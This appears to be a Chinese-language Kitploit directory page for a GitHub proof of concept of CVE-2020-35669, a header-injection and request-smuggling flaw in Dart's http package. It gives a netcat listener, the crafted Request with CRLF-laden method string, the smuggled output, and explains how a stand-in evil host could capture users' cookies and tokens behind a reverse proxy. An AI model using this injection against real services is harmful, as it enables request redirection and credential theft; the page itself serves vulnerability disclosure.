Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-35669 — 针对CVE-2020-35669的概念验证漏洞利用,演示了通过精心构造的方法参数在Dart的http包中实现HTTP请求走私和头部注入,从而绕过反向代理并操纵主机头。 | Kitploit
工具/GitHubGitHub/n0npax/cve-2020-35669
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubn0npax/cve-2020-35669

CVE-2020-35669

针对CVE-2020-35669的概念验证漏洞利用,演示了通过精心构造的方法参数在Dart的http包中实现HTTP请求走私和头部注入,从而绕过反向代理并操纵主机头。

查看仓库
115年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-35669

虚拟服务器

请使用第一个终端运行虚拟服务器

root@kitploit:~
sudo nc -l 127.0.0.1 80 

应用给定的补丁

root@kitploit:~
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

运行虚拟应用

请使用第二个终端执行 main.dart

root@kitploit:~
dart run main.dart

结果

nc 应收到以下请求

root@kitploit:~
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

重要代码片段

root@kitploit:~
  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

关键路径

假设上述 diff 未应用,并且用户位于 rev-proxy 之后,访问了由 example.com 提供的网站。

root@kitploit:~
dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    ...

为什么这是一个安全风险

如果开发者使用 Request 来抽象生成 HTTP 调用,并且他接受来自用户的 method 参数,那么用户可以执行一些像头部注入或路径伪造之类的操作。 这可以通过多种方式被利用,并且似乎尤其重要,特别是在存在反向代理的情况下。代理可能会根据 host 头将某人的请求简单地传递到任何主机。 假设我将 example.com 替换为 my-evil-uservice.org,并且受害者在代理后面的公司内工作。这意味着我可以重定向带有头部/cookie(令牌)等等的调用。基于此,可以窃取带有所有头部/cookie 的调用。

下载工具